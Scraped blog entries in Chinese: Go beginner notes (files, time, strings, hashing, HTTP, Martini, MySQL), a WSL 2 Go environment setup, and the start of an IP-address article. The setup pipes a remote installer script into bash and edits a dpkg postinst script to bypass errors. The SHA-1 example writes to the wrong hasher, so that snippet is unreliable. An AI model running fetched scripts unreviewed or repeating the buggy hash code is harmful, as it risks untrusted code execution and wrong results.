math.go。\n一開始先宣告測試用的變數 t，然後引用 Average 函數將 1、2 拿進去計算，如果答案不對利用 t 返回錯誤，使用起來相當的直覺。\n操作檔案 讓我們先看看下面這個簡單的範例：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 package main import ( \u0026#34;fmt\u0026#34; \u0026#34;os\u0026#34; ) func main() { // 首先我們先利用內建的函式庫 os ，利用 open 方法來開起檔案： // file 為開啟後的檔案，用來做後續的操作，err 這個是當開啟失敗的時候返回的錯誤訊息 file, err := os.Open(\u0026#34;test.txt\u0026#34;) if err != nil { return } // 這一行是使用 defer 來確保檔案有被正確的關閉用的 defer file.Close() stat, err := file.Stat() if err != nil { return } bs := make([]byte, stat.Size()) _, err = file.Read(bs) // 一般情況下會是 nil，如果你不需要 error 訊息你可以使用佔位符來取代 // 這邊則是說如果 err 不是 nil 那就返回，當然你也可以輸入一些你要設定的除錯訊息 if err != nil { return } str := string(bs) fmt.Println(str) } 時間 時間是一般開發者常常會用到的功能，Go 已經內建得很齊全了，我們一起來看看吧！\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 package main import ( \u0026#34;fmt\u0026#34; \u0026#34;time\u0026#34; ) func main() { p := fmt.Println // 獲取目前的時間 now := time.Now() p(now) // 獲取自訂時間 then := time.Date( 2009, 11, 17, 20, 34, 58, 651387237, time.UTC) p(then) p(then.Year()) p(then.Month()) p(then.Day()) p(then.Hour()) p(then.Minute()) p(then.Second()) p(then.Nanosecond()) p(then.Location()) p(then.Weekday()) p(then.Before(now)) p(then.After(now)) p(then.Equal(now)) diff := now.Sub(then) p(diff) p(diff.Hours()) p(diff.Minutes()) p(diff.Seconds()) p(diff.Nanoseconds()) p(then.Add(diff)) p(then.Add(-diff)) } 如果要計算時間差呢？只要使用 Sub 方法就可以計算囉！詳細 time 用法可參考網址。\n操作字串 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 package main import ( \u0026#34;fmt\u0026#34; \u0026#34;strings\u0026#34; ) func main() { fmt.Println( // true strings.Contains(\u0026#34;test\u0026#34;, \u0026#34;es\u0026#34;), // 2 strings.Count(\u0026#34;test\u0026#34;, \u0026#34;t\u0026#34;), // true strings.HasPrefix(\u0026#34;test\u0026#34;, \u0026#34;te\u0026#34;), // true strings.HasSuffix(\u0026#34;test\u0026#34;, \u0026#34;st\u0026#34;), // 1 strings.Index(\u0026#34;test\u0026#34;, \u0026#34;e\u0026#34;), // \u0026#34;a-b\u0026#34; strings.Join([]string{\u0026#34;a\u0026#34;, \u0026#34;b\u0026#34;}, \u0026#34;-\u0026#34;), // == \u0026#34;aaaaa\u0026#34; strings.Repeat(\u0026#34;a\u0026#34;, 5), // \u0026#34;bbaa\u0026#34; strings.Replace(\u0026#34;aaaa\u0026#34;, \u0026#34;a\u0026#34;, \u0026#34;b\u0026#34;, 2), // []string{\u0026#34;a\u0026#34;,\u0026#34;b\u0026#34;,\u0026#34;c\u0026#34;,\u0026#34;d\u0026#34;,\u0026#34;e\u0026#34;} strings.Split(\u0026#34;a-b-c-d-e\u0026#34;, \u0026#34;-\u0026#34;), // \u0026#34;test\u0026#34; strings.ToLower(\u0026#34;TEST\u0026#34;), // \u0026#34;TEST\u0026#34; strings.ToUpper(\u0026#34;test\u0026#34;), ) } Contains： 藉由 Contains 可以知道字串中是否包涵哪些字串 Count： 用來計算一個字串中的某個字元有幾個 HasPrefix、HasSuffix： 用來確認字頭字尾始否有包函某些字串 Index： 用來計算指定的字元是字串中的第幾個元素 Join： 用來合併成字串，而中間可以嵌入指定的字元 Repeat： 重複字串 Split： 利用特定字元來拆開字串，拆開的字會放進陣列 ToLower： 用來把字串都換成小寫，當然他只有英文XD ToUpper： 用來把字串都換成大寫，當然他只有英文XD Hash 雜湊 雜湊 (Hash) 是現在很常見的應用，可以用來驗證檔案的正確性、加密等。\n範例：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 package main import ( \u0026#34;crypto/sha1\u0026#34; \u0026#34;fmt\u0026#34; \u0026#34;hash/crc32\u0026#34; ) func main() { h := crc32.NewIEEE() h.Write([]byte(\u0026#34;test\u0026#34;)) v := h.Sum32() fmt.Println(v) i := sha1.New() h.Write([]byte(\u0026#34;test\u0026#34;)) bs := i.Sum([]byte{}) fmt.Println(bs) } 這邊簡單舉了一般的 Hash 跟 Crypto 的函式用法，當然還有很多種類可以自己看。\n這邊 crc32 的部份用 NewIEEE 方法來建立 checksum，然後利用 write 這個內建的 interface 來寫入要算的值，這時候 h 已經是我們要的 Hash 值了，後面這邊在利用 sum32 來返回成我們可以閱讀的 uint32 的值。\nsha1 的部份基本上很類似，應該不用多說，馬上可以看懂。\n詳細請參考：\nhash crypto List 有上過資料結構的人都知道 List，Go 有實作喔！不過他不是基礎型別，需要特別引入，讓我們一起來看看。\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 package main import ( \u0026#34;container/list\u0026#34; \u0026#34;fmt\u0026#34; ) func main() { var x list.List x.PushBack(1) x.PushBack(2) x.PushBack(3) for e := x.Front(); e != nil; e = e.Next() { fmt.Println(e.Value.(int)) } } 先是建立 List x 然後利用 PushBack 函式從後面填入，最後利用 For 迴圈將一個一個取出。\n除了 List 外還有 Heap 喔！有興趣的可以參考看看。\n詳細請參考：\nList Heap GET / POST 在錯誤處理的時候有提到 HTTP GET、POST，這邊再來說明一下。\n舉個例子：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 func httpGet() { resp, err := http.Get(\u0026#34;https://tw.yahoo.com/\u0026#34;) if err != nil { // handle error } defer resp.Body.Close() body, err := ioutil.ReadAll(resp.Body) if err != nil { // handle error } fmt.Println(string(body)) } 你可以看到，這是一個 function，我們利用 http.get 的方法來將 request 送給 Yahoo，Get 方法會返回兩個數值，一個是 response，另一個是 error，後面利用 defer 來確定是否有收到，然後將 response 裡的 Body 也就是網頁內容讀取出來，然後轉成字串印出。\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 func httpPost() { resp, err := http.Post(\u0026#34;https://tw.yahoo.com/\u0026#34;, \u0026#34;application/x-www-form-urlencoded\u0026#34;, strings.NewReader(\u0026#34;name=test\u0026#34;)) if err != nil { fmt.Println(err) } defer resp.Body.Close() body, err := ioutil.ReadAll(resp.Body) if err != nil { // handle error } fmt.Println(string(body)) } POST 其實大部份就跟 GET 相同，但是不一樣的是 POST 通常傳的資料會比較多，所以這邊可以在後面的參數加上你要傳給伺服器的參數，另外需要特別注意的是，必須使用 application/x-www-form-urlencoded 才能正確的傳值喔！\nMartini 我們來玩玩 Framework 吧！\n官方網站： http://martini.codegangsta.io/ Repo： https://github.com/go-martini/martini 安裝 Martini 只要用 go get 就可以在本地引入 lib 囉！\n1 go get github.com/go-martini/martini 然後我們就可以開始使用官方的 simple code：\n1 2 3 4 5 6 7 8 9 10 11 package main import \u0026#34;github.com/go-martini/martini\u0026#34; func main() { m := martini.Classic() m.Get(\u0026#34;/\u0026#34;, func() string { return \u0026#34;Hello world!\u0026#34; }) m.Run() } 這是一個簡單利用 Martini 來啟動 Server 的範例程式碼，首先引入 Martini，後面宣告 martini 為變數 m，後面在使用 router 來解析網址 「/」，再來我們再跟目錄網只要做什麼事情呢？就是返回 \u0026ldquo;Hello world\u0026rdquo;！規則都設定完了，那我們就用 Run 來啟動伺服器。\n那我們的 Code 都寫完了，那我們就用 go run 來執行它，例如你的 code 檔名取叫 server.go，那你只要使用：\n1 go run server.go 就可以執行囉，接下來你就可以開瀏覽器來看看是否有顯示「Hello world!」，網址請打 localhost:3000，3000 為 Martini 的預設 port。\nRouter、Template 簡單使用 Martini 的 Router 和 Template 做網站開發！\n一開始我們會需要另外一個 lib，因為 Martini 的 lib 只有基本伺服器的工具，沒有包函 View Render，所以我們會需要使用 View Render 來操作 Template。\n所以我們先使用 go get 來下載：\n1 go get github.com/martini-contrib/render 這樣我們就可以引用 lib 了！\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 package main import ( \u0026#34;github.com/go-martini/martini\u0026#34; \u0026#34;github.com/martini-contrib/render\u0026#34; ) func main() { m := martini.Classic() m.Get(\u0026#34;/hello/:name\u0026#34;, func(params martini.Params) string { return \u0026#34;Hello \u0026#34; + params[\u0026#34;name\u0026#34;] }) m.Use(render.Renderer(render.Options{ Layout: \u0026#34;layout\u0026#34;, })) type Member struct { Id int Name string Sex string } member := Member{ Id: 1, Name: \u0026#34;Negaihoshi\u0026#34;, Sex: \u0026#34;Male\u0026#34;, } m.Get(\u0026#34;/\u0026#34;, func(r render.Render) { r.HTML(200, \u0026#34;hello\u0026#34;, member) }) m.Run() } 首先 m.Get 是使用 Get 方法來獲取 response，如同前面的方法，不過稍微不同的是我們這邊稍微做一點進階的操作，我們在 router 的 rule 這邊打上 /hello/:name，這個是什麼意思呢？意思是網址 /hello/ 下網站會看 :name 這個變數來做操作，所以下面就要寫我們要做什麼？而這邊我們返回 \u0026quot;Hello \u0026quot; + params[\u0026quot;name\u0026quot;] 而 params 這邊就是用來解析引數的語法。\n如果我今天輸入網址 /hello/:Negaihoshi，那我網站就會出現「Hello Negaihoshi」。\n下面這邊我們利用 Use 方法來設定 Options，而這邊設定的是我們要使用 layout，並且指定 layout 的位置，而我們這邊寫 \u0026ldquo;layout\u0026rdquo;，指的是 templates/layout.tmpl 這個檔案。\n往後面看這邊就簡單了，用了前面學過得 stuct 來存放資料，並且使用 Get 方法，當有人瀏覽根目錄的時候，將 member 傳入 hello.tmpl 檔。\n1 2 3 \u0026lt;title\u0026gt;\u0026lt;/title\u0026gt; \u0026lt;link rel=\u0026#34;stylesheet\u0026#34; href=\u0026#34;https://maxcdn.bootstrapcdn.com/bootstrap/3.2.0/css/bootstrap.min.css\u0026#34;\u0026gt; {{ yield }} 這邊其實很簡單就是使用 yield 來引入入其他的 tmpl 檔。\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 \u0026lt;table class=\u0026#34;table table-hover\u0026#34;\u0026gt; \u0026lt;thead\u0026gt; \u0026lt;tr\u0026gt; \u0026lt;td\u0026gt;ID\u0026lt;/td\u0026gt; \u0026lt;td\u0026gt;Name\u0026lt;/td\u0026gt; \u0026lt;td\u0026gt;Sex\u0026lt;/td\u0026gt; \u0026lt;/tr\u0026gt; \u0026lt;/thead\u0026gt; \u0026lt;tbody\u0026gt; \u0026lt;tr\u0026gt; \u0026lt;td\u0026gt;{{ .Id }}\u0026lt;/td\u0026gt; \u0026lt;td\u0026gt;{{ .Name }}\u0026lt;/td\u0026gt; \u0026lt;td\u0026gt;{{ .Sex }}\u0026lt;/td\u0026gt; \u0026lt;/tr\u0026gt; \u0026lt;/tbody\u0026gt; \u0026lt;/table\u0026gt; 這邊則是印出我們要的數值，而需要用「.」來操作。\n資料庫 前面學會了怎麼簡易的使用 martini，這邊我們來使用看看資料庫。\n首先我們要安裝 mysql 的驅動程式套件，我們使用 GitHub 上比較知名的的項目來做。\n在終端機輸入：\n1 go get github.com/go-sql-driver/mysql 這樣就可以使用囉！\n當然，我們需要引入它才能使用：\n1 2 3 4 import \u0026#34;database/sql\u0026#34; import \\_ \u0026#34;github.com/go-sql-driver/mysql\u0026#34; db, err := sql.Open(\u0026#34;mysql\u0026#34;, \u0026#34;user:password@/dbname\u0026#34;) user 和 password 跟 dbname 就要換成你要連接的資料庫的資料囉！\n資料都輸入正確就可以連接資料庫了。\n記得加入很重要的 error，這樣連接失敗才能正確的回報哦！\n1 2 3 if err != nil { panic(err.Error()) } 如果有仔細看範例，你可以看到這一句：\n1 defer db.Close() 他的意思是說要確保它可以正確的被關閉。\n學會連接資料庫了，那要怎麼操作呢？我們來看一個簡單的例子，這邊是官方的範例：\n1 2 3 4 5 stmtIns, err := db.Prepare(\u0026#34;INSERT INTO squareNum VALUES( ?, ? )\u0026#34;) // ? = placeholder if err != nil { panic(err.Error()) // proper error handling instead of panic in your app } defer stmtIns.Close() // Close the statement when we leave main() / the program terminates 這邊使用 Prepare 來使用 sql 指令，將值傳給 stmtIns ，操作簡單直覺！\n以上，這篇先簡單介紹 Golang，待之後專案使用到時，再來繼續深入研究！\n","date":"2023-02-10T00:00:00Z","image":"https://live.staticflickr.com/65535/52680023246_4af5b0a8eb_o.jpg","permalink":"https://blog.wayne-project.com/2023-02-10/golang-beginner-tutorial/","title":"Golang 的超級初心者筆記"},{"content":" 參考網站\n參考網站\n參考網站\n參考網站\n參考網站\n自從 Windows 升級到 Windows 10 Version 2004 之後，因為可以採用效能大幅提昇的 WSL 2 執行環境，像是 .NET Core、Golang 與 Docker 都會全部跑在 WSL 2 的 Linux 下。今天這篇文章，我將介紹如何在 Windows 平台打造完美的 Golang 開發環境，不但可以讓你享受 Linux 平台執行時無比的順暢，更能享受 Windows 平台絕佳的 VSCode 開發體驗。\n使用 WSL 在 Windows 上安裝 Linux 開發人員可以在 Windows 計算機上同時訪問 Windows 和 Linux 的強大功能。通過適用於 Linux 的 Windows 子系統(WSL)，開發人員可以安裝 Linux 發行版（例如Ubuntu、OpenSUSE、Kali、Debian、Arch Linux 等），並直接在 Windows 上使用 Linux 應用程序、實用程序和 Bash 命令行工具，不用進行任何修改，也無需承擔傳統虛擬機或雙啟動設置的費用。\n安裝 WSL 命令 現在，可以使用單個命令安裝運行 WSL 所需的一切內容。在管理員模式下打開 PowerShell 或 Windows 命令提示符，方法是右鍵單擊並選擇\u0026quot;以管理員身份運行\u0026quot;，輸入 wsl --install 命令，然後重啟電腦。\n如果你運行的是舊版，或只是不想使用 install 命令並希望獲得分步指引，請參閱舊版 WSL 手動安裝步驟。\nWSL 安裝 Ubuntu WSL 安裝指令：\n1 wsl --install -d \u0026lt;DistroName\u0026gt; 在終端機使用以下指令安裝 Linux Ubuntu：\n1 wsl --install -d Ubuntu 設置 Linux 用戶名稱與密碼 使用 WSL 安裝 Linux 發行版的過程完成後，系統將要求你為 Linux 發行版創建\u0026quot;用戶名\u0026quot;和\u0026quot;密碼\u0026quot;。\n此用戶名和密碼特定於安裝的每個單獨的 Linux 分發版，與 Windows 用戶名無關。 請注意，輸入密碼時，屏幕上不會顯示任何內容。這稱為盲目鍵入。不會看到正在鍵入的內容，這完全正常。 創建用戶名和密碼後，該帳戶將是分發版的默認用戶，並將在啟動時自動登錄。 此帳戶將被視為 Linux 管理員，能夠運行sudo(Super User Do) 管理命令。 在 WSL 上運行的每個 Linux 發行版都有其自己的 Linux 用戶帳戶和密碼。每當添加分發版、重新安裝或重置時，都必須配置一個 Linux 用戶帳戶。 BONUS：設置 root 密碼 在 WSL 的 Ubuntu，輸入以下指令設定 root 密碼：\n1 sudo passwd 測試 root 密碼：\n1 2 3 4 5 6 7 8 su - # 輸入剛剛設定的 root 密碼 # 完成登入 # 退出 root exit 安裝 Go 版本管理器 (Go Version Manager) Go Version Manager 簡稱 gvm，專門用來管理 Go 的執行環境，可以讓你任意切換 Go 的 Runtime 版本，又不會搞亂你的作業系統，這可說是兩全其美！\n以下兩行命令，就可以輕鬆裝好 gvm 工具：\n1 2 bash \u0026lt; \u0026lt;(curl -s -S -L https://raw.githubusercontent.com/moovweb/gvm/master/binscripts/gvm-installer) source ~/.gvm/scripts/gvm 安裝 Go 執行環境的門檻已經變的超低，尤其是安裝在 Linux / macOS 底下更是如此，官方已經移除了對各家 Linux Distro 的安裝套件支援，一份 tarball 解壓縮，環境變數 PATH 設定好就可以立刻開始使用，沒那麼多奇奇怪怪的套件管理器混淆 Linux 初學者的地方。\n我認為安裝 gvm 對於打造 Go 開發環境來說，還是有好處的。至少安裝完成後的 Go 執行環境非常乾淨，各種複雜的 GO____ 環境變數，全部交由 gvm 來管理。不想要 Go 或 gvm 的時候，只要以下兩行就可以清除乾淨：\n1 2 chmod u+w -R ~/.gvm/ gvm implode 安裝 Go 執行環境 先安裝 gvm 所需的必要套件 因為 gvm 可能會用到建置下個版本的 Go 執行環境，所以建議你安裝一些建置工具。\n如果你採用 Ubuntu/Debian 系統，請安裝以下套件： 1 sudo apt-get install binutils bison gcc make build-essential -y 如果有遇到不能執行上述安裝的情況，請用以下命令修復，修復後再重新安裝一次即可！ 1 2 sudo sed -i -r -e \u0026#39;s/^(set -e)$/#\\1/\u0026#39; /var/lib/dpkg/info/libc6\\:amd64.postinst sudo apt --fix-broken install -y 如果跳出 Colud not find bison、binutils、gcc、make，手動一一安裝吧！ 1 2 3 4 sudo apt-get install bison sudo apt-get install binutils sudo apt-get install gcc sudo apt-get install make 如果有遇到安裝 gcc 時報 404 Not Found 的錯誤，請先升級你的 apt 後再進行安裝： 錯誤訊息：\n1 2 3 4 5 E: Failed to fetch http://security.ubuntu.com/ubuntu/pool/main/b/binutils/libctf0_2.34-6ubuntu1.1_amd64.deb 404 Not Found [IP: 91.189.88.152 80] E: Failed to fetch http://security.ubuntu.com/ubuntu/pool/main/b/binutils/binutils-x86-64-linux-gnu_2.34-6ubuntu1.1_amd64.deb 404 Not Found [IP: 91.189.88.152 80] E: Failed to fetch http://security.ubuntu.com/ubuntu/pool/main/b/binutils/binutils_2.34-6ubuntu1.1_amd64.deb 404 Not Found [IP: 91.189.88.152 80] E: Failed to fetch http://security.ubuntu.com/ubuntu/pool/main/l/linux/linux-libc-dev_5.4.0-81.91_amd64.deb 404 Not Found [IP: 91.189.88.152 80] E: Unable to fetch some archives, maybe run apt-get update or try with --fix-missing? 升級 apt 並重新安裝 gcc：\n1 2 3 sudo apt update sudo apt upgrade sudo apt install gcc -y 如果你採用 RedHat/CentOS 系統，請安裝以下套件： 1 2 3 4 5 6 sudo yum install curl sudo yum install git sudo yum install make sudo yum install bison sudo yum install gcc sudo yum install glibc-devel 安裝完成後查詢 gvm 的版本資訊：\n1 2 wayne@Wayne-Desktop:~$ gvm version Go Version Manager v1.0.22 installed at /home/wayne/.gvm 列出目前 gvm 已安裝的所有 Go 版本 1 gvm listall 撰文當下的回應內容如下：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 gvm gos (available) go1 go1.0.1 go1.0.2 go1.0.3 go1.1 go1.1rc2 go1.1rc3 go1.1.1 go1.1.2 go1.2 go1.2rc2 go1.2rc3 go1.2rc4 go1.2rc5 go1.2.1 go1.2.2 go1.3 go1.3beta1 go1.3beta2 go1.3rc1 go1.3rc2 go1.3.1 go1.3.2 go1.3.3 go1.4 go1.4beta1 go1.4rc1 go1.4rc2 go1.4.1 go1.4.2 go1.4.3 go1.5 go1.5beta1 go1.5beta2 go1.5beta3 go1.5rc1 go1.5.1 go1.5.2 go1.5.3 go1.5.4 go1.6 go1.6beta1 go1.6beta2 go1.6rc1 go1.6rc2 go1.6.1 go1.6.2 go1.6.3 go1.6.4 go1.7 go1.7beta1 go1.7beta2 go1.7rc1 go1.7rc2 go1.7rc3 go1.7rc4 go1.7rc5 go1.7rc6 go1.7.1 go1.7.2 go1.7.3 go1.7.4 go1.7.5 go1.7.6 go1.8 go1.8beta1 go1.8beta2 go1.8rc1 go1.8rc2 go1.8rc3 go1.8.1 go1.8.2 go1.8.3 go1.8.4 go1.8.5 go1.8.5rc4 go1.8.5rc5 go1.8.6 go1.8.7 go1.9 go1.9beta1 go1.9beta2 go1.9rc1 go1.9rc2 go1.9.1 go1.9.2 go1.9.3 go1.9.4 go1.9.5 go1.9.6 go1.9.7 go1.10 go1.10beta1 go1.10beta2 go1.10rc1 go1.10rc2 go1.10.1 go1.10.2 go1.10.3 go1.10.4 go1.10.5 go1.10.6 go1.10.7 go1.10.8 go1.11 go1.11beta1 go1.11beta2 go1.11beta3 go1.11rc1 go1.11rc2 go1.11.1 go1.11.2 go1.11.3 go1.11.4 go1.11.5 go1.11.6 go1.11.7 go1.11.8 go1.11.9 go1.11.10 go1.11.11 go1.11.12 go1.11.13 go1.12 go1.12beta1 go1.12beta2 go1.12rc1 go1.12.1 go1.12.2 go1.12.3 go1.12.4 go1.12.5 go1.12.6 go1.12.7 go1.12.8 go1.12.9 go1.12.10 go1.12.11 go1.12.12 go1.12.13 go1.12.14 go1.12.15 go1.12.16 go1.12.17 go1.13 go1.13beta1 go1.13rc1 go1.13rc2 go1.13.1 go1.13.2 go1.13.3 go1.13.4 go1.13.5 go1.13.6 go1.13.7 go1.13.8 go1.13.9 go1.13.10 go1.13.11 go1.13.12 go1.13.13 go1.13.14 go1.13.15 go1.14 go1.14beta1 go1.14rc1 go1.14.1 go1.14.2 go1.14.3 go1.14.4 go1.14.5 go1.14.6 go1.14.7 go1.14.8 go1.14.9 go1.14.10 go1.14.11 go1.14.12 go1.14.13 go1.14.14 go1.14.15 go1.15 go1.15beta1 go1.15rc1 go1.15rc2 go1.15.1 go1.15.2 go1.15.3 go1.15.4 go1.15.5 go1.15.6 go1.15.7 go1.15.8 go1.15.9 go1.15.10 go1.15.11 go1.15.12 go1.15.13 go1.15.14 go1.15.15 go1.16 go1.16beta1 go1.16rc1 go1.16.1 go1.16.2 go1.16.3 go1.16.4 go1.16.5 go1.16.6 go1.16.7 go1.16.8 go1.16.9 go1.16.10 go1.16.11 go1.16.12 go1.16.13 go1.16.14 go1.16.15 go1.17 go1.17beta1 go1.17rc1 go1.17rc2 go1.17.1 go1.17.2 go1.17.3 go1.17.4 go1.17.5 go1.17.6 go1.17.7 go1.17.8 go1.17.9 go1.17.10 go1.17.11 go1.17.12 go1.17.13 go1.18 go1.18beta1 go1.18beta2 go1.18rc1 go1.18.1 go1.18.2 go1.18.3 go1.18.4 go1.18.5 go1.18.6 go1.18.7 go1.18.8 go1.18.9 go1.18.10 go1.19 go1.19beta1 go1.19rc1 go1.19rc2 go1.19.1 go1.19.2 go1.19.3 go1.19.4 go1.19.5 go1.20 go1.20rc1 go1.20rc2 go1.20rc3 release.r56 release.r57 release.r58 release.r59 release.r60 release.r57.1 release.r57.2 release.r58.1 release.r58.2 release.r60.1 release.r60.2 release.r60.3 安裝 go1.20 版本 1 gvm install go1.20 --binary 列出目前 gvm 已安裝的所有 Go 版本 1 gvm list 設定目前要用的 Go 版本（並設定為預設版本） 1 gvm use go1.20 --default 確認目前執行的 Go 版本 1 go version BONUS(一)：管理 Gopath 環境 gvm 提供了一个比較簡單的工具 gvm pkgset 可以創建使用 GOPATH 環境：\n1 2 3 4 5 6 7 8 9 10 11 12 13 gvm pkgset # * http://github.com/moovweb/gvm # == Description # GVM pkgset is used to manage various Go packages # == Usage # gvm pkgset Command # == Command # create - create a new package set # delete - delete a package set # use - select where gb and goinstall target and link # empty - remove all code and compiled binaries from package set # list - list installed go packages BONUS(二)：卸載指定 Go 版本 1 gvm uninstall go1.13 安裝 VSCode 需要的 go modules 與相關工具 若要從 VSCode 自動開啟網頁，就必須安裝 xdg-utils 套件 1 sudo apt install xdg-utils -y 以下是 Go 擴充套件 需要的 go modules 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 go get github.com/sqs/goreturns go get github.com/mdempsky/gocode go get github.com/uudashr/gopkgs/v2/cmd/gopkgs go get github.com/ramya-rao-a/go-outline go get github.com/acroca/go-symbols go get golang.org/x/tools/cmd/guru go get golang.org/x/tools/cmd/gorename go get github.com/cweill/gotests/... go get github.com/fatih/gomodifytags go get github.com/josharian/impl go get github.com/davidrjenni/reftools/cmd/fillstruct go get github.com/haya14busa/goplay/cmd/goplay go get github.com/godoctor/godoctor go get github.com/go-delve/delve/cmd/dlv go get github.com/stamblerre/gocode go get github.com/rogpeppe/godef go get golang.org/x/tools/cmd/goimports go get golang.org/x/lint/golint go get golang.org/x/tools/gopls 啟動 Visual Studio Code 開發工具\n你現在可以在任何 WSL Distro 裡面直接輸入 code . 就可以開啟 Windows 環境下的 Visual Studio Code 開發工具！\n1 code . 預設會自動安裝並載入 Visual Studio Code Remote - WSL 擴充套件。\n安裝 Will 保哥 出品的 Go Extension Pack 擴充套件\n這份擴充套件包含了以下擴充套件：\nGo Code Runner Paste JSON as Code Gremlins tracker for Visual Studio Code vscode-proto3 執行 VSCode 中 Go 擴充套件的 Go: Install/Update Tools 命令一次\nF1 \u0026gt; Go: Install/Update Tools\n這個命令會自動安裝遺漏的套件，如果已經安裝過，也會自動更新套件！\n調整 Visual Studio Code 使用者設定\n在 Will 保哥 的 Go Extension Pack 擴充套件說明頁面有提到幾個 Recommended Settings (建議設定)，請記得要手動調整 Visual Studio Code 使用者設定之後才會好用，尤其是快速鍵部分！\n測試是否安裝成功 確認目前執行的 Go 版本 1 go version 抓取 Go 套件原始碼回來測試用 VSCode 開啟專案 1 2 3 4 git clone https://github.com/appleboy/gorush.git cd gorush make code . 新增 .vscode/tasks.json 設定檔\n預設的「建置」與「測試」命令與參數，每個專案都可能有所不同，請記得手動調整過！\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 { // See https://go.microsoft.com/fwlink/?LinkId=733558 // for the documentation about the tasks.json format \u0026#34;version\u0026#34;: \u0026#34;2.0.0\u0026#34;, \u0026#34;tasks\u0026#34;: [ { \u0026#34;label\u0026#34;: \u0026#34;build\u0026#34;, \u0026#34;command\u0026#34;: \u0026#34;go\u0026#34;, \u0026#34;type\u0026#34;: \u0026#34;shell\u0026#34;, \u0026#34;args\u0026#34;: [ \u0026#34;build\u0026#34;, \u0026#34;-o\u0026#34;, \u0026#34;dist/${workspaceFolderBasename}\u0026#34; ], \u0026#34;group\u0026#34;: { \u0026#34;kind\u0026#34;: \u0026#34;build\u0026#34;, \u0026#34;isDefault\u0026#34;: true }, \u0026#34;presentation\u0026#34;: { \u0026#34;reveal\u0026#34;: \u0026#34;silent\u0026#34; }, \u0026#34;problemMatcher\u0026#34;: \u0026#34;$msCompile\u0026#34; }, { \u0026#34;label\u0026#34;: \u0026#34;test\u0026#34;, \u0026#34;command\u0026#34;: \u0026#34;go\u0026#34;, \u0026#34;type\u0026#34;: \u0026#34;shell\u0026#34;, \u0026#34;args\u0026#34;: [ \u0026#34;test\u0026#34;, ], \u0026#34;group\u0026#34;: { \u0026#34;kind\u0026#34;: \u0026#34;test\u0026#34;, \u0026#34;isDefault\u0026#34;: true }, \u0026#34;presentation\u0026#34;: { \u0026#34;reveal\u0026#34;: \u0026#34;silent\u0026#34; }, \u0026#34;problemMatcher\u0026#34;: \u0026#34;$msCompile\u0026#34; } ] } 調整 Visual Studio Code 使用者設定 1 2 3 4 5 6 7 8 9 10 { \u0026#34;go.useLanguageServer\u0026#34;: true, \u0026#34;editor.snippetSuggestions\u0026#34;: \u0026#34;top\u0026#34;, \u0026#34;terminal.integrated.shellArgs.linux\u0026#34;: [\u0026#34;-l\u0026#34;], \u0026#34;code-runner.saveAllFilesBeforeRun\u0026#34;: true, \u0026#34;code-runner.ignoreSelection\u0026#34;: true, \u0026#34;code-runner.runInTerminal\u0026#34;: true } ","date":"2023-02-09T00:00:00Z","image":"https://live.staticflickr.com/65535/52678563078_1c05ac4dfd_o.png","permalink":"https://blog.wayne-project.com/2023-02-09/golang-dev-box-in-windows/","title":"在 Windows 平台打造完美的 Go 開發環境 (WSL 2)"},{"content":" 參考網站\n參考網站\n參考網站\n參考網站\n前言 對於工程師來說，127.0.0.1 與 0.0.0.0 這兩個IP地址再熟悉不過了，看起來好像就那麼回事，但真正較起真來，這兩個IP地址到底有什麼作用以及到底有什麼不同？貌似誰可以輕鬆回答，但張嘴卻又不知從何說起\u0026hellip;(這要是面試，估計真會被這搞砸\u0026hellip;)\n本文將系統地總結 127.0.0.1 和 0.0.0.0 這兩個IP地址的作用，以及它們之間的區別，希望能為你解惑。\nIP地址分類 我們先回顧一下IP地址的基礎知識（本節內容僅作快速概覽，如您對IP地址知識一無所知，建議首先閱讀《IP地址和子網劃分學習筆記之《IP地址詳解》》）。\nIP地址表示 IP地址由兩個部分組成，net-id 和 host-id，即網絡號和主機號：\nnet-id： 表示 ip 地址所在的網絡號。 host-id： 表示 ip 地址所在網絡中的某個主機號碼。 即：\n1 IP-address ::= { \u0026lt;Network-ID\u0026gt;, \u0026lt;Host-ID\u0026gt;} 就像下圖這樣：\nIP地址分類 IP地址一共分為5類，即A～E，它們分類的依據是其 net-id 所佔的字節長度以及網絡號前幾位。\n大致分類如下：\nA類地址： 網絡號佔1個字節，網絡號的第一位固定為0。 B類地址： 網絡號佔2個字節，網絡號的前兩位固定為10。 C類地址： 網絡號佔3個字節，網絡號的前三位固定位110。 D類地址： 